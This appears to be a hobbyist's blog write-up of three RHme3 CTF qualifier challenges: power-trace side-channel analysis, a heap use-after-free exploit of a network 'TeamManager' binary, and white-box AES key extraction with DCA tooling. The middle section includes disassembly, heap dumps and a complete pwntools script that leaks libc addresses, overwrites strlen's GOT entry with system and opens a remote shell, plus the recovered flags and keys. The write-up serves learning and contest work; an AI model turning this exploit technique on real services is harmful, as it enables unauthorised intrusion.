As it turns out, I’ve always avoided CTFs out of fear of just not being good enough to solve even the most basic problems, so when one of my friends talked me about the RHme3 CTF qualifications going on I thought, “yeah, not for me,” and just moved on. However, at 3AM the day after, when I thought while half asleep, “Oh wait, that makes easy content for my blog, jfc.”

And so here comes one of my first CTF writeups!

Tracing the Traces

Well let’s get started with, in my opinion, the easiest challenge of all!

We are greeted in this challenge by this nice screen which gives us access to two useful files containing data, with the overview.png just giving us a view of the voltage measurement.

It shouldn’t take us too much time to realize what this trial is about: Side Channel Analysis.

So I fire up my ChipWhisperer Analyzer then try to import the traces, and… booyah?

Well there’s a catch: those formats cannot be imported directly. The .trs files are, as far as I know, made for Riscure (the company doing this CTF) tools, but I didn’t quite look into them. What I looked into was the mat file and as anyone would do, I looked at what it contained.

# Created by Octave 4.0.3, Fri Aug 04 14:04:39 2017 CEST <andres@kali-andres> Oooh that’s nice, so we know which software was used to save that data. Let’s give it a go!

In the meanwhile I tried looking at ChipWhispere documentation and stumbled upon a CTF example which made use of a matlab file format too! While it was for saving it was already useful to know THIS existed. I proceeded to try to load the file directly into the CW Analyzer but to no luck, the format seemed to be incompatible: ValueError: Unknown mat file type, version 51, 48

And then I waited for Octave to compile…

(What? I’m on Gentoo!)

Once it was done and I assured I could read the data fully, I proceeded to save the file using this nice guide that would help me place said data into the new format needed.

And… h4x0r UI right ahead! (Note the white graph that cannot be themed in black D:)

So now we have the graph and everything feels fine, so let’s try cracking it! After running standard attacks on the trace for general algorithms, I figured it was leading me nowhere so I tried to see where I could’ve messed up, so I printed multiple traces.

It took me a while to figure out by myself WHY this was an issue in the first place, but after skimming through the CW wiki, I encountered this nice article and decided to give it a go.

Ok maybe not like this...

This seems already better!

And now time for the l33t h4x0r part of cracking the key!

If you wish to have an idea about how this step works internally, you should read up on this article. It explains the Correlation Power Analysis based attacks pretty nicely.

Doesn't this remind you of hacker movies?

So let’s input the key…

CAFEBABEDEADBEEF000102030405064A

Incorrect flag

What?

This looked so fricking insanely non-random so wh-

Wait

CAFEBABEDEADBEEF0001020304050607

Done.

Exploitation

For this one, we have a binary, a server address, and the libc in use.

Old school.

The first thing to figure out was how to connect to the server, so I did a little trace and…

[pid 23556] bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0

Wow, that’s really some neat l33t m8.

Let us connect to the server now:

➜ riscure telnet pwn.rhme.riscure.com 1337 Trying 35.177.251.55... Connected to 35.177.251.55. Escape character is '^]'. Welcome to your TeamManager (TM)! 0.- Exit 1.- Add player 2.- Remove player 3.- Select player 4.- Edit player 5.- Show player 6.- Show team Your choice:

First things first: do EVERYTHING YOU CAN.

Seriously. We need to find any weird behaviour before beginning to study the binary, which’ll take us quite some time. As that’s exactly what I did. I settled on something pretty nice; I added one player, selected it and removed it. Then this happened:

Your choice: 5 Name: A/D/S/P: 32622032,0,0,0

Yes! A use-after-free! For those unfamiliar with the concept, we basically have a pointer in a portion of memory we shouldn’t have access to, allowing us to mess with the flow of the software.

So now that this is done, we should begin to reverse the program and try to run it locally, right?

A little look before reversing tells us our main.elf just straight up exits, so time for a bit more of and inside look with radare2!

[ 0 x0040111f ] > pdf / ( fcn ) sym.serve_forever 373 | sym.serve_forever () ; | ; var int local_34h @ rbp-0x34 | ; var int local_30h @ rbp-0x30 | ; var int local_2ch @ rbp-0x2c | ; var int local_28h @ rbp-0x28 | ; var int local_24h @ rbp-0x24 | ; var int local_20h @ rbp-0x20 | ; var int local_1eh @ rbp-0x1e | ; var int local_1ch @ rbp-0x1c | ; var int local_8h @ rbp-0x8 | ; CALL XREF from 0x004021bc (main) | 0x0040111f 55 push rbp | 0 x00401120 4889 e5 mov rbp , rsp | 0 x00401123 4883 ec40 sub rsp , 0x40 ; '@' | 0x00401127 897 dcc mov dword [ local_34h ], edi | 0 x0040112a 64488 b042528. mov rax , qword fs :[ 0x28 ] ; [0x28:8]=0x44a8 ; '(' | 0x00401133 488945 f8 mov qword [ local_8h ], rax | 0 x00401137 31 c0 xor eax , eax | 0 x00401139 c745d4000000. mov dword [ local_2ch ], 0 | 0 x00401140 c745d8000000. mov dword [ local_28h ], 0 | 0 x00401147 c745d0010000. mov dword [ local_30h ], 1 | 0 x0040114e be01000000 mov esi , 1 ; void * func | 0x00401153 bf11000000 mov edi , 0x11 ; int sig | 0x00401158 e823fcffff call sym.imp.signal ; void signal(int sig, void *func) | 0x0040115d ba00000000 mov edx , 0 | 0 x00401162 be01000000 mov esi , 1 | 0 x00401167 bf02000000 mov edi , 2 | 0 x0040116c e82ffdffff call sym.imp.socket | 0 x00401171 8945 d4 mov dword [ local_2ch ], eax | 0 x00401174 837 dd400 cmp dword [ local_2ch ], 0 | , = < 0 x00401178 790 a jns 0x401184 | | 0 x0040117a bf01000000 mov edi , 1 ; int status | | 0x0040117f e8ecfcffff call sym.imp.exit ; void exit(int status) | ` - > 0x00401184 488 d55d0 lea rdx , [ local_30h ] | 0 x00401188 8 b45d4 mov eax , dword [ local_2ch ] | 0 x0040118b 41 b804000000 mov r8d , 4 | 0 x00401191 4889 d1 mov rcx , rdx | 0 x00401194 ba02000000 mov edx , 2 | 0 x00401199 be01000000 mov esi , 1 | 0 x0040119e 89 c7 mov edi , eax | 0 x004011a0 e8ebfaffff call sym.imp.setsockopt | 0 x004011a5 85 c0 test eax , eax | , = < 0 x004011a7 790 a jns 0x4011b3 | | 0 x004011a9 bf01000000 mov edi , 1 ; int status | | 0x004011ae e8bdfcffff call sym.imp.exit ; void exit(int status) | ` - > 0x004011b3 488 d45e0 lea rax , [ local_20h ]

After looking a bit at the control flow, we jump to the first exit conditions. The software tries to get a socket and otherwise exits, same for setting its options.

| 0 x004011b7 ba10000000 mov edx , 0x10 ; size_t n | 0x004011bc be30000000 mov esi , 0x30 ; '0' ; int c | 0x004011c1 4889 c7 mov rdi , rax ; void *s | 0x004011c4 e857fbffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x004011c9 66 c745e00200 mov word [ local_20h ], 2 | 0 x004011cf bf00000000 mov edi , 0 | 0 x004011d4 e837fbffff call sym.imp.htonl | 0 x004011d9 8945 e4 mov dword [ local_1ch ], eax | 0 x004011dc 8 b45cc mov eax , dword [ local_34h ] | 0 x004011df 0 fb7c0 movzx eax , ax | 0 x004011e2 89 c7 mov edi , eax | 0 x004011e4 e8f7faffff call sym.imp.htons | 0 x004011e9 668945 e2 mov word [ local_1eh ], ax | 0 x004011ed 488 d4de0 lea rcx , [ local_20h ] | 0 x004011f1 8 b45d4 mov eax , dword [ local_2ch ] | 0 x004011f4 ba10000000 mov edx , 0x10 | 0 x004011f9 4889 ce mov rsi , rcx | 0 x004011fc 89 c7 mov edi , eax | 0 x004011fe e8fdfbffff call sym.imp.bind | 0 x00401203 85 c0 test eax , eax | , = < 0 x00401205 790 a jns 0x401211 | | 0 x00401207 bf01000000 mov edi , 1 ; int status | | 0x0040120c e85ffcffff call sym.imp.exit ; void exit(int status) | ` - > 0x00401211 8 b45d4 mov eax , dword [ local_2ch ] | 0 x00401214 be14000000 mov esi , 0x14 | 0 x00401219 89 c7 mov edi , eax | 0 x0040121b e8b0fbffff call sym.imp.listen | 0 x00401220 85 c0 test eax , eax | , = < 0 x00401222 790 a jns 0x40122e | | 0 x00401224 bf01000000 mov edi , 1 ; int status | | 0x00401229 e842fcffff call sym.imp.exit ; void exit(int status) | | ; JMP XREF from 0x0040128b (sym.serve_forever) | . ` - > 0x0040122e 8 b45d4 mov eax , dword [ local_2ch ] | | 0 x00401231 ba00000000 mov edx , 0 | | 0 x00401236 be00000000 mov esi , 0 | | 0 x0040123b 89 c7 mov edi , eax | | 0 x0040123d e8eefbffff call sym.imp.accept | | 0 x00401242 8945 d8 mov dword [ local_28h ], eax | | 0 x00401245 e846fcffff call sym.imp.fork | | 0 x0040124a 8945 dc mov dword [ local_24h ], eax | | 0 x0040124d 837 ddc00 cmp dword [ local_24h ], 0 | | , = < 0 x00401251 790 a jns 0x40125d | | | 0 x00401253 bf01000000 mov edi , 1 ; int status | | | 0x00401258 e813fcffff call sym.imp.exit ; void exit(int status) | | ` - > 0x0040125d 837 ddc00 cmp dword [ local_24h ], 0 | | , = < 0 x00401261 751 e jne 0x401281 | | | 0 x00401263 8 b45d4 mov eax , dword [ local_2ch ] | | | 0 x00401266 89 c7 mov edi , eax ; int fildes | | | 0x00401268 e8c3faffff call sym.imp.close ; int close(int fildes) | | | 0x0040126d 8 b45d8 mov eax , dword [ local_28h ] | | | 0 x00401270 488 b4df8 mov rcx , qword [ local_8h ] | | | 0 x00401274 6448330 c2528. xor rcx , qword fs :[ 0x28 ] | , = = = < 0 x0040127d 7413 je 0x401292 | , = = = = < 0 x0040127f eb0c jmp 0x40128d | | | | ` - > 0 x00401281 8 b45d8 mov eax , dword [ local_28h ] | | | | 0 x00401284 89 c7 mov edi , eax ; int fildes | | | | 0x00401286 e8a5faffff call sym.imp.close ; int close(int fildes) | | | ` = = < 0x0040128b eba1 jmp 0x40122e | | | ; JMP XREF from 0x0040127f (sym.serve_forever) | ` - - - - > 0 x0040128d e82efaffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | ` --- > 0x00401292 c9 leave \ 0 x00401293 c3 ret

We see here a bit more about trying to bind and listen to the port 1337, but not really anything useful in regards to why the software is actually exiting on my computer, so let’s follow it and check out some other stuff…

/ ( fcn ) sym.background_process 236 | sym.background_process () ; | ; CALL XREF from 0x004021b2 (main) | 0x00401033 55 push rbp | 0 x00401034 4889 e5 mov rbp , rsp | 0 x00401037 4881 ec300100. sub rsp , 0x130 | 0 x0040103e 4889 bdd8feff. mov qword [ rbp - 0x128 ], rdi | 0 x00401045 64488 b042528. mov rax , qword fs :[ 0x28 ] ; [0x28:8]=0x44a8 ; '(' | 0x0040104e 488945 f8 mov qword [ rbp - 8 ], rax | 0 x00401052 31 c0 xor eax , eax | 0 x00401054 488 b85d8feff. mov rax , qword [ rbp - 0x128 ] | 0 x0040105b 4889 c7 mov rdi , rax | 0 x0040105e e82dfdffff call sym.imp.getpwnam | 0 x00401063 488985 e8feff. mov qword [ rbp - 0x118 ], rax | 0 x0040106a 4883 bde8feff. cmp qword [ rbp - 0x118 ], 0 | , = < 0 x00401072 750 a jne 0x40107e | | 0 x00401074 bf01000000 mov edi , 1 ; int status | | 0x00401079 e8f2fdffff call sym.imp.exit ; void exit(int status) | ` - > 0x0040107e 488 b95d8feff. mov rdx , qword [ rbp - 0x128 ] ; ... | 0x00401085 488 d85f0feff. lea rax , [ rbp - 0x110 ] | 0 x0040108c be44234000 mov esi , str._opt_riscure__s ; 0x402344 ; "/opt/riscure/%s" ; const char* | 0x00401091 4889 c7 mov rdi , rax ; char *s | 0x00401094 b800000000 mov eax , 0 | 0 x00401099 e8b2fdffff call sym.imp.sprintf ; int sprintf(char *s, | 0x0040109e 488 d85f0feff. lea rax , [ rbp - 0x110 ] | 0 x004010a5 4889 c7 mov rdi , rax | 0 x004010a8 e809ffffff call sym.daemonize | 0 x004010ad be00000000 mov esi , 0 | 0 x004010b2 bf00000000 mov edi , 0 | 0 x004010b7 e884fcffff call sym.imp.setgroups | 0 x004010bc 85 c0 test eax , eax | , = < 0 x004010be 790 a jns 0x4010ca | | 0 x004010c0 bf01000000 mov edi , 1 ; int status | | 0x004010c5 e8a6fdffff call sym.imp.exit ; void exit(int status) | ` - > 0x004010ca 488 b85e8feff. mov rax , qword [ rbp - 0x118 ] | 0 x004010d1 8 b4014 mov eax , dword [ rax + 0x14 ] ; [0x14:4]=1 | 0x004010d4 89 c7 mov edi , eax | 0 x004010d6 e835fdffff call sym.imp.setgid | 0 x004010db 85 c0 test eax , eax | , = < 0 x004010dd 790 a jns 0x4010e9 | | 0 x004010df bf01000000 mov edi , 1 ; int status | | 0x004010e4 e887fdffff call sym.imp.exit ; void exit(int status) | ` - > 0x004010e9 488 b85e8feff. mov rax , qword [ rbp - 0x118 ] | 0 x004010f0 8 b4010 mov eax , dword [ rax + 0x10 ] ; [0x10:4]=0x3e0002 | 0x004010f3 89 c7 mov edi , eax | 0 x004010f5 e886fdffff call sym.imp.setuid | 0 x004010fa 85 c0 test eax , eax | , = < 0 x004010fc 790 a jns 0x401108 | | 0 x004010fe bf01000000 mov edi , 1 ; int status | | 0x00401103 e868fdffff call sym.imp.exit ; void exit(int status) | ` - > 0x00401108 90 nop | 0 x00401109 488 b45f8 mov rax , qword [ rbp - 8 ] | 0 x0040110d 644833042528 . xor rax , qword fs :[ 0x28 ] | , = < 0 x00401116 7405 je 0x40111d | | 0 x00401118 e8a3fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | ` - > 0x0040111d c9 leave \ 0 x0040111e c3 ret

As we can see, there the software checks that a user “pwn” exists, append the user “pwn” to /opt/riscure/ string, tries to set correct uid, groups and so on, and if it can’t do all that, it exits.So now that this is done, let’s create a pwn user, and launch the software with the root user so that it doesn’t complain about gid and uid permissions. And… it doesn’t run? We might have missed something there… hmmm… What does this daemonize function do already…?

/ ( fcn ) sym.daemonize 125 | sym.daemonize () ; | ; var int local_18h @ rbp-0x18 | ; var int local_8h @ rbp-0x8 | ; var int local_4h @ rbp-0x4 | ; CALL XREF from 0x004010a8 (sym.background_process) | 0x00400fb6 55 push rbp | 0 x00400fb7 4889 e5 mov rbp , rsp | 0 x00400fba 4883 ec20 sub rsp , 0x20 | 0 x00400fbe 48897 de8 mov qword [ local_18h ], rdi | 0 x00400fc2 e899feffff call sym.imp.getppid | 0 x00400fc7 83 f801 cmp eax , 1 | , = < 0 x00400fca 7464 je 0x401030 | | 0 x00400fcc e8bffeffff call sym.imp.fork | | 0 x00400fd1 8945 f8 mov dword [ local_8h ], eax | | 0 x00400fd4 837 df800 cmp dword [ local_8h ], 0 | , = = < 0 x00400fd8 790 a jns 0x400fe4 | | | 0 x00400fda bf01000000 mov edi , 1 ; int status | | | 0x00400fdf e88cfeffff call sym.imp.exit ; void exit(int status) | ` -- > 0x00400fe4 837 df800 cmp dword [ local_8h ], 0 | , = = < 0 x00400fe8 7 e0a jle 0x400ff4 | | | 0 x00400fea bf00000000 mov edi , 0 ; int status | | | 0x00400fef e87cfeffff call sym.imp.exit ; void exit(int status) | ` -- > 0x00400ff4 e857fdffff call sym.imp.setsid | | 0 x00400ff9 8945 fc mov dword [ local_4h ], eax | | 0 x00400ffc 837 dfc00 cmp dword [ local_4h ], 0 | , = = < 0 x00401000 790 a jns 0x40100c | | | 0 x00401002 bf01000000 mov edi , 1 ; int status | | | 0x00401007 e864feffff call sym.imp.exit ; void exit(int status) | ` -- > 0x0040100c bf00000000 mov edi , 0 ; int m | | 0x00401011 e88afdffff call sym.imp.umask ; int umask(int m) | | 0x00401016 488 b45e8 mov rax , qword [ local_18h ] | | 0 x0040101a 4889 c7 mov rdi , rax | | 0 x0040101d e88efcffff call sym.imp.chdir | | 0 x00401022 85 c0 test eax , eax | , = = < 0 x00401024 790 b jns 0x401031 | | | 0 x00401026 bf01000000 mov edi , 1 ; int status | | | 0x0040102b e840feffff call sym.imp.exit ; void exit(int status) | | ` - > 0x00401030 90 nop | ` - - > 0 x00401031 c9 leave \ 0 x00401032 c3 ret

That’s what we missed.

The fricking /opt/riscure/pwn .

So we now create the folder and… it runs! Great, now we can FINALLY begin to pwn it.

Since we got a libc with our binary for exploit purposes, my first thought has been a ret2libc attack. In a nutshell, this means you, using arguments already provided, make one function of the software jump to libc and execute it instead of the original one. For the uninformed, libc has the function system which allows you to run any command, including /bin/sh , effectively spawning a shell.

The first thing to know for this kind of attack is where to put the argument and how to use it.

The first question is pretty straightforward: we have a name space, so let’s put our process there!

The second part requires a bit of reversing:

| | | 0 x004018f4 bfbb244000 mov edi , str.Enter_player_name : ; 0x4024bb ; "Enter player name: " ; const char * format | | | 0x004018f9 b800000000 mov eax , 0 | | | 0 x004018fe e8fdf3ffff call sym.imp.printf ; int printf(const char *format) | | | 0x00401903 488 b05561820. mov rax , qword obj.stdout ; [0x603160:8]=0x342e352075746e75 rdi ; "untu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609" | | | 0x0040190a 4889 c7 mov rdi , rax ; FILE *stream | | | 0x0040190d e8aef4ffff call sym.imp.fflush ; int fflush(FILE *stream) | | | 0x00401912 488 d85f0feff. lea rax , [ local_110h ] | | | 0 x00401919 ba00010000 mov edx , 0x100 ; size_t nbyte | | | 0x0040191e be00000000 mov esi , 0 ; int c | | | 0x00401923 4889 c7 mov rdi , rax ; void *s | | | 0x00401926 e8f5f3ffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | | | 0x0040192b 488 d85f0feff. lea rax , [ local_110h ] | | | 0 x00401932 be00010000 mov esi , 0x100 ; void *buf | | | 0x00401937 4889 c7 mov rdi , rax ; int fildes | | | 0x0040193a e884fbffff call sym.readline ; ssize_t read(int fildes, void *buf, size_t nbyte) | | | 0x0040193f 488 d85f0feff. lea rax , [ local_110h ] | | | 0 x00401946 4889 c7 mov rdi , rax ; const char * s | | | 0x00401949 e852f3ffff call sym.imp.strlen ; size_t strlen ( const char * s )

We are there looking at what happens with the name when adding a player.

We can see here that two functions seems appropriate for the deal: readline and strlen .

strlen seems better for our work since there is only one argument and it is the string stripped from unecessary bytes, so let’s go with that.

Now that we have an idea on how to exploit this software, let’s try to get an idea of how to make the exploit work!

The first thing to note is that the system does not make use of system , so we have to find another place than the GOT to jump to, i.e. libc directly.

We then need to leak the real address of strlen from libc in order to calculate libc’s base address and then system’s address. Then we need to execute system at the place of strlen .

Let’s dump the memory now to see how we can set up the heap:

0x006825e0 6865 6c6c 6f0d 0000 380b 1915 3000 0000 hello...8...0... 0x006825f0 0000 0000 0000 0000 2100 0000 0000 0000 ........!....... 0x00682600 0300 0000 0300 0000 0300 0000 0300 0000 ................ 0x00682610 2026 6800 0000 0000 2100 0000 0000 0000 &h.....!....... 0x00682620 676f 6f64 6279 650d 000b 1915 3000 0000 goodbye.....0... 0x00682630 0000 0000 0000 0000 c100 0000 0000 0000 ................ 0x00682640 380b 1915 3000 0000 380b 1915 3000 0000 8...0...8...0...

As we can see, we have around 64 bytes between one player and another, with names padded.

To ensure where we write, here is the memory after we selected “goodbye”, removed both players, and added a new one, named PWNME:

0x006825e0 5057 4e4d 450d 0000 380b 1915 3000 0000 PWNME...8...0... 0x006825f0 0000 0000 0000 0000 2100 0000 0000 0000 ........!....... 0x00682600 1026 6800 0000 0000 0300 0000 0300 0000 .&h............. 0x00682610 2026 6800 0000 0000 2100 0000 0000 0000 &h.....!....... 0x00682620 0000 0000 0000 0000 000b 1915 3000 0000 ............0... 0x00682630 0000 0000 0000 0000 c100 0000 0000 0000 ................ 0x00682640 380b 1915 3000 0000 380b 1915 3000 0000 8...0...8...0...

And then the memory after we edited our old selected goodbye:

0x006825e0 5057 4e4d 450d 0000 380b 1915 3000 0000 PWNME...8...0... 0x006825f0 0000 0000 0000 0000 2100 0000 0000 0000 ........!....... 0x00682600 1026 6800 0000 0000 0300 0000 0300 0000 .&h............. 0x00682610 2026 6800 0000 0000 2100 0000 0000 0000 &h.....!....... 0x00682620 5520 5220 5057 4e45 440d 0015 3000 0000 U R PWNED...0... 0x00682630 0000 0000 0000 0000 c100 0000 0000 0000 ................ 0x00682640 380b 1915 3000 0000 380b 1915 3000 0000 8...0...8...0...

Now that we know this, the idea is to leak the address of strlen through this UAF and overwrite the GOT entry by system’s address thanks to the leak.

“So how would you leak the address first,” you might think? It’s actually fairly trivial: we need to figure out what reads what, so let us show the freed user when no user is there.

Your choice: 5 Name: A/D/S/P: 6825488,0,1,1

6825488 in hex is 68 26 10, present just before the string “goodbye” in our memory views. So we need to pad 16bytes before the string, and then we’ll add a pointer to the GOT, hoping it’ll give us the real address!

So let us use pwntools to retrieve those GOT offsets easily and…

[DEBUG] Received 0xe bytes: 00000000 09 4e 61 6d 65 3a 20 20 c7 cd a9 36 7f 0a │·Nam│e: │···6│··│ 0000000e

IT WORKED!! We can now retrieve the beautiful address of our system call and overwrite it. How, you may ask? Well we can print the content of the GOT pointer of strlen thanks to our name, so can’t we modify its contents too…?

That’s right: edit the name of our pwnd pointer and we’re done. We just have to launch strlen one way or another, i.e. by adding a new user.

Let’s write a script to actually do that for us:

from pwn import * libc = ELF( ' libc.so.6 ' ) rhme = ELF( ' main.elf ' ) context . os = ' linux ' context . bits = 64 context . arch = ' amd64 ' context . endian = ' little ' conn = remote( ' pwn.rhme.riscure.com ' , 1337 ) #Wait for the menu to come in conn . recvuntil( ' Your choice: ' ) #Add our first user conn . sendline( ' 1 ' ) conn . recvuntil( ' Enter player name: ' ) conn . sendline( ' A ' * 64 ) for i in range( 4 ): conn . recvuntil( ' : ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' Your choice: ' ) #We add our second user conn . sendline( ' 1 ' ) conn . recvuntil( ' Enter player name: ' ) conn . sendline( ' pwnd ' ) for i in range( 4 ): conn . recvuntil( ' : ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' Your choice: ' ) #Select pwnd conn . sendline( ' 3 ' ) conn . recvuntil( ' Enter index: ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' Your choice: ' ) #Remove pwnd and random name conn . sendline( ' 2 ' ) conn . recvuntil( ' Enter index: ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' Your choice: ' ) conn . sendline( ' 2 ' ) conn . recvuntil( ' Enter index: ' ) conn . sendline( ' 0 ' ) conn . recvuntil( ' Your choice: ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' Enter player name: ' ) #Make the user name print the value pointed by the got address to leak conn . sendline( ' A ' * 16 + p64(rhme . got[ ' strlen ' ])[: - 1 ]) for i in range( 4 ): conn . recvuntil( ' : ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' Your choice: ' ) #Getting the leaked strlen real address conn . sendline( ' 5 ' ) conn . recvuntil( ' Name: ' ) strlen = u64(conn . recvline() . rstrip() . ljust( 8 , ' \x00 ' )) conn . recvuntil( ' Your choice: ' ) #Getting the base address of libc libcreal = strlen - libc . symbols[ ' strlen ' ] #Let's now edit pwnd name, which will overwrite strlen GOT conn . sendline( ' 4 ' ) conn . recvuntil( ' Your choice: ' ) conn . sendline( ' 1 ' ) conn . recvuntil( ' name: ' ) conn . sendline(p64(libcreal + libc . symbols[ ' system ' ])[: - 1 ]) conn . recvuntil( ' Your choice: ' ) conn . sendline( ' 0 ' ) conn . recvuntil( ' Your choice: ' ) #DONE, Now just trigger strlen with our software to run, in this case /bin/sh to #get a remote shell conn . sendline( ' 1 ' ) conn . recvuntil( ' Enter player name: ' ) conn . sendline( ' /bin/sh \x00 ' ) #The shell's in hell conn . interactive()

Let us now run the script and…

[*] Switching to interactive mode $

YES!

$ ls flag main.elf $ cat flag RHME3{h3ap_0f_tr0uble?}

RHME3{h3ap_0f_tr0uble?}

Heap, creator of troubles since approximately 1950.

White Box Unboxing

And here comes the final part and, for me, the hardest. The required work itself wasn’t hard. In fact, I think exploitation won the round this time, but the difficulty was in simply knowing how to attack and, for once, I can fully say that if you didn’t know about it, you didn’t read enough phrack.

So what is this challenge about?

Getting an AES key from a piece of software and computing said AES algorithm.

It should just be a matter of extracting a key, maybe encrypted, from the software then, right? Sound easy enough? Hell no, it isn’t. If you don’t know why, I highly encourage you to read the phrack article, but otherwise spoiler alert:

There is no key to extract.

“How can we crack it then?”

After a few hours of dynamic reverse engineering, I finally decided to look up on whitebox cryptography and… I was not disappointed.

YOU HAD A WHOLE FRICKING SUITE OF TOOLS TO DO THE JOB FOR YOU!

Either way, after waiting some long hours for GCC 4.9 to compile (thanks to Intel’s PIN suite which didn’t work), compiling a custom valgrind, and many hours of ranting, I finally got my first traces of the software!

Oh yeah, I forgot to tell you how the attack works: basically you trace the execution of the program, then analyze a region that seems nice once visualized, and automate more traces while taking more inputs and outputting some attacks on those traces. As I’m not an expert on how this is done exactly and that I’ve had very little time to do this CTF, I’ll let you search for yourself. I like to try and be as pragmatic as possible, so I won’t (willingly) go and say something that could be ridiculously wrong!

Either way, let’s look at our traces from TracerGrind and sqlitetrace:

Sexy traces

After loads of trial and error (and IRC), I finally managed to find the correct AES pattern in those traces to try to analyze.

As a matter of fact, at first I just skipped the address altogether during the challenge. I added it for the CTF as I thougt that a 10x speedup or so wasn’t a bad thing. :p Sexy Rjindael

This seems nice, so let’s take those addresses as a reference: 0x463482-0x463fff

So now that we know where to look, what should we do?

Get moar traces, my friend!

I inspired myself with this script. To make my own script for this whitebox tracer collector:

import sys sys . path . insert( 0 , ' ../../ ' ) from deadpool_dca import * def processinput (iblock, blocksize): #Send the input as raw bytes return (None, [ ' ' . join(chr((iblock >> 8 * ( 16 - byte - 1 )) & 0xFF ) for byte in range( 16 ))]) def processoutput (output, blocksize): # Get output from plaintext hex return int( ' ' . join(output . split()), 16 ) T = TracerGrind( ' /home/govanify/Documents/PROJECTS/PROGRAMMING/HACKING/PENTESTING/Deadpool/wbs_aes_ches2016/DCA/whitebox ' , processinput, processoutput, ARCH . amd64, 16 , addr_range = ' 0x463482-0x463fff ' ) T . run( 50 ) bin2daredevil(configs = { ' attack_sbox ' : { ' algorithm ' : ' AES ' , ' position ' : ' LUT/AES_AFTER_SBOX ' }})

Seems good! Let’s now collect traces shall we?

Wait… something is off…

If we wish to actually send arguments, the bytes to encode them have to be strings. To make execve not yell at you, the arguments are non-string, so let us also patch deadpool_dca to limit the entropy:

299 c299, 303 < iblock = random . randint( 0 , ( 1 << ( 8 * self . blocksize)) - 1 ) - - - > iblock = 0 > for y in range( 0 , 16 ): > #ASCII printable-by-terminal characters only > #begin at 0x21 because 0x20 is space, might mess up > iblock + = random . randint( 0x21 , 0x7E ) << ( 8 * y) 508 a513 >

And there we go, time to now launch our attack!

➜ DCA git:(master) ✗ python whitebox.py

00000 3F2C472944502B74664B496C51422332 -> 24E56795E5D616D92730B891091E042D 00001 5F317B7E59282D2778756E5C7A48227A -> 4DACE0B89B299EE3CA4668CF210C05C9 ...snip...

➜ DCA git:(master) ✗ ./daredevil -c mem_addr1_rw1_50_7040.attack_sbox.config

Most probable key sum(abs): 1: 124.213: 61316c5f7434623133355f525f6f5235 2: 121.554: 61316c5f743462313335d3525f6f5235 3: 121.541: 61316c5f743462313335a1525f6f5235 4: 121.507: 61316c5f3c34623133355f525f6f5235 5: 121.413: 61316c5f7434623133358c525f6f5235 6: 121.409: 61316c5f74346231333587525f6f5235 7: 121.392: 61314c5f7434623133355f525f6f5235 8: 118.848: 61316c5f3c3462313335d3525f6f5235 9: 118.835: 61316c5f3c3462313335a1525f6f5235 10: 118.732: 61314c5f743462313335d3525f6f5235 Most probable key max(abs): 1: 16: 61316c5f7434623133355f525f6f5235 2: 15.8: 61316c5b7434623133355f525f6f5235 3: 15.7863: 61316c5f3c34623133355f525f6f5235 4: 15.7628: 61316c5f7434623133355f52566f5235 5: 15.7613: 6131885f7434623133355f525f6f5235 6: 15.5863: 61316c5b3c34623133355f525f6f5235 7: 15.5628: 61316c5b7434623133355f52566f5235 8: 15.5613: 6131885b7434623133355f525f6f5235 9: 15.5491: 61316c5f3c34623133355f52566f5235 10: 15.5476: 6131885f3c34623133355f525f6f5235 [INFO] Total attack of file LUT/AES_AFTER_SBOX done in 28.344149 seconds.

Well this seems nice! Finally solved! Let’s -

61316c5f7434623133355f525f6f5235

Incorrect flag

While the issue might sound pretty stupid, it actually took me several hours to figure this out until I fired up radare2 and inserted one of those keys.

- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF comment 0x00000000 6131 6c5f 7434 6231 3335 5f52 5f6f 5235 a1l_t4b135_R_oR5

a1l_t4b135_R_oR5

Now this was a frustrating challenge.

Another thing I’d like to add before closing this post is that whitebox was really frustrating, as you never knew if you did anything wrong and whatnot. It was a lot of trial and error due to inexperience in the field and, while it made me learn quite a bit, it also means it took quite some time to figure everything out. :p